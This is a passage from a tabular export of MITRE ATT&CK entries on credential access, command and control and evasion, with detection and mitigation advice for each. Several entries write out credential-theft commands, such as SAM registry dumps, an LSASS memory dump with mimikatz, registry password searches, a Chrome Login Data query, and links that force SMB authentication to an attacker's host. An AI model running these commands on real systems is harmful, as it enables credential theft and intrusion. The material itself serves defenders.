of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)	Virtualization, sandbox, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.	Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.	defense-evasion, discovery	Process monitoring, Process command-line parameters	Windows, macOS		https://attack.mitre.org/techniques/T1497
T1102	**1**	**Technique**	**Web Service**	Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system. These commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).	Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)	Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)	command-and-control, defense-evasion	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture	Linux, macOS	User	https://attack.mitre.org/techniques/T1102

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1506	**1**	**Technique**	**Web Session Cookie**	Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)	Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.		defense-evasion, lateral-movement	Authentication logs, Office 365 account logs	Office 365, SaaS		https://attack.mitre.org/techniques/T1506
TA0006	**0**	**Tactic**	**Credential Access**	The adversary is trying to steal account names and passwords. Credential Access consists of techniques for stealing credentials like account names and passwords. Techniques used to get credentials include keylogging or credential dumping. Using legitimate credentials can give adversaries access to systems, make them harder to detect, and provide the opportunity to create more accounts to help achieve their goals.							https://attack.mitre.org/tactics/TA0006
T1139	**1**	**Technique**	**Bash History**	Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user's last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)	Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.	There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands: <code>set +o history</code> and <code>set -o history</code> to start logging again; <code>unset HISTFILE</code> being added to a user's .bash_rc file; and <code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.	credential-access	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1139
T1110	**1**	**Technique**	**Brute Force**	Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained. [Credential Dumping](https://attack.mitre.org/techniques/T1003) is used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) A related technique called password spraying uses one password (e.g. 'Password01'), or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.	It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. For password spraying consider the following(Citation: Trimarc Detecting Password Spraying): * Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625. * Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771. * All systems: "Audit Logon" (Success & Failure) for event ID 4648.	Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3) Where possible, also enable multi factor authentication on external facing services.	credential-access	Office 365 account logs, Authentication logs	Linux, macOS	User	https://attack.mitre.org/techniques/T1110
T1522	**1**	**Technique**	**Cloud Instance Metadata API**	Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018) The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.	* Monitor access to the Instance Metadata API and look for anomalous queries. * It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.		credential-access	Azure activity logs, AWS CloudTrail logs, Authentication logs	AWS, GCP	User	https://attack.mitre.org/techniques/T1522

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1003	1	**Technique**	**Credential Dumping**	Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information. Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well. ### Windows #### SAM (Security Accounts Manager) The SAM is a database file that contains local accounts for the host, typically those found with the 'net user' command. To enumerate the SAM database, system level access is required. A number of tools can be used to retrieve the SAM file through in-memory techniques: * pwdumpx.exe * [gsecdump](https://attack.mitre.org/software/S0008) * [Mimikatz](https://attack.mitre.org/software/S0002) * secretsdump.py Alternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075): * <code>reg save HKLM\sam sam</code> * <code>reg save HKLM\system system</code> Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7) Notes: Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+. #### Cached Credentials The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks. A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * [gsecdump](https://attack.mitre.org/software/S0008) * [Mimikatz](https://attack.mitre.org/software/S0002) Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials. Notes: Cached credentials for Windows Vista are derived using PBKDF2. #### Local Security Authority (LSA) Secrets With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets. When services are run under the context of local or domain users, their passwords are stored in the Registry. If auto-logon is enabled, this information will be stored in the Registry as well. A number of tools can be used to retrieve the SAM file through in-memory techniques. * pwdumpx.exe * [gsecdump](https://attack.mitre.org/software/S0008) * [Mimikatz](https://attack.mitre.org/software/S0002) * secretsdump.py Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials. Notes: The passwords extracted by his mechanism are UTF-16 encoded, which means that they are returned in plaintext. Windows 10 adds protections for LSA Secrets described in Mitigation. #### NTDS from Domain Controller Active Directory stores information about members of the domain including devices and users to verify credentials and define access rights. The Active Directory domain database is stored in the NTDS.dit file. By default the NTDS file will be located in %SystemRoot%\NTDS\Ntds.dit of a domain controller. (Citation: Wikipedia Active Directory) The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. * Volume Shadow Copy * secretsdump.py * Using the in-built Windows tool, ntdsutil.exe * Invoke-NinjaCopy #### Group Policy Preference (GPP) Files Group Policy Preferences (GPP) are tools that allowed administrators to create domain policies with embedded credentials. These policies, amongst other things, allow administrators to set local accounts. These group policies are stored in SYSVOL on a domain controller, this means that any domain user can view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation:	### Windows Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity. Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process. Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity DCSync Sept 2015) ### Linux To obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path <code>/proc/<pid>/maps</code>, where the <code><pid></code> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.	### Windows Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access) On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA) Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP) With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard) Manage the access control list for "Replicating Directory Changes" and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL) Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012) ### Linux Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.	credential-access	API monitoring, Process monitoring, PowerShell logs, Process command-line parameters	Windows, Linux	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1003

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
				view the SYSVOL share and decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP) The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files: * Metasploit's post exploitation module: "post/windows/gather/credentials/gpp" * Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword) * gpprefdecrypt.py Notes: On the SYSVOL share, the following can be used to enumerate potential XML files. dir /s * .xml #### Service Principal Names (SPNs) See [Kerberoasting](https://attack.mitre.org/techniques/T1208). #### Plaintext Credentials After a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative user or SYSTEM. SSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications. The following SSPs can be used to access credentials: Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection) Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP) The following tools can be used to enumerate credentials: * [Windows Credential Editor](https://attack.mitre.org/software/S0005) * [Mimikatz](https://attack.mitre.org/software/S0002) As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * <code>procdump -ma lsass.exe lsass_dump</code> Locally, mimikatz can be run: * <code>sekurlsa::Minidump lsassdump.dmp</code> * <code>sekurlsa::logonPasswords</code> #### DCSync DCSync is a variation on credential dumping which can be used to acquire sensitive information from a domain controller. Rather than executing recognizable malicious code, the action works by abusing the domain controller's application programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller. Any members of the Administrators, Domain Admins, Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the "lsadump" module in Mimikatz. (Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017) ### Linux #### Proc filesystem The /proc filesystem on Linux contains a great deal of information regarding the state of the running operating system. Processes running with root privileges can use this facility to scrape live memory of other running programs. If any of these programs store passwords in clear text or password hashes in memory, these values can then be harvested for either usage or brute force attacks, respectively. This functionality has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). The tool dumps process memory, then harvests passwords and hashes by looking for text strings and regex patterns for how given applications such as Gnome Keyring, sshd, and Apache use memory to store such authentication artifacts.							

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1503	1	**Technique**	**Credentials from Web Browsers**	Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData â€ŽApril 2018) Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016) After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).	Identify web browser files that contain credentials such as Google Chrome's Login Data database file: <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).		credential-access	Process monitoring, PowerShell logs, File monitoring, API monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1503
T1081	1	**Technique**	**Credentials in Files**	Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)	While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.	Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)	credential-access	File monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1081
T1214	1	**Technique**	**Credentials in Registry**	The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons. Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials) * Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code> * Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>	Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.	Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.	credential-access	Windows Registry, Process command-line parameters, Process monitoring	Windows	User, Administrator	https://attack.mitre.org/techniques/T1214
T1212	1	**Technique**	**Exploitation for Credential Access**	Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.Â Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.	Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen.	Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape) Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.	credential-access	Authentication logs, Windows Error Reporting, Process monitoring	Linux, Windows	User	https://attack.mitre.org/techniques/T1212

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1187	**1**	**Technique**	**Forced Authentication**	The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security) Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB) There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\[remote address]\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)	Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)	Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017) For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.	credential-access	File monitoring, Network protocol analysis, Network device logs, Process use of network	Windows	User	https://attack.mitre.org/techniques/T1187
T1056	**1**	**Technique**	**Input Capture**	Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012) Keylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises. Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)	Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes. Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used.	Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP) In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).	collection, credential-access	Windows Registry, Kernel drivers, Process monitoring, API monitoring	Linux, macOS	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1056
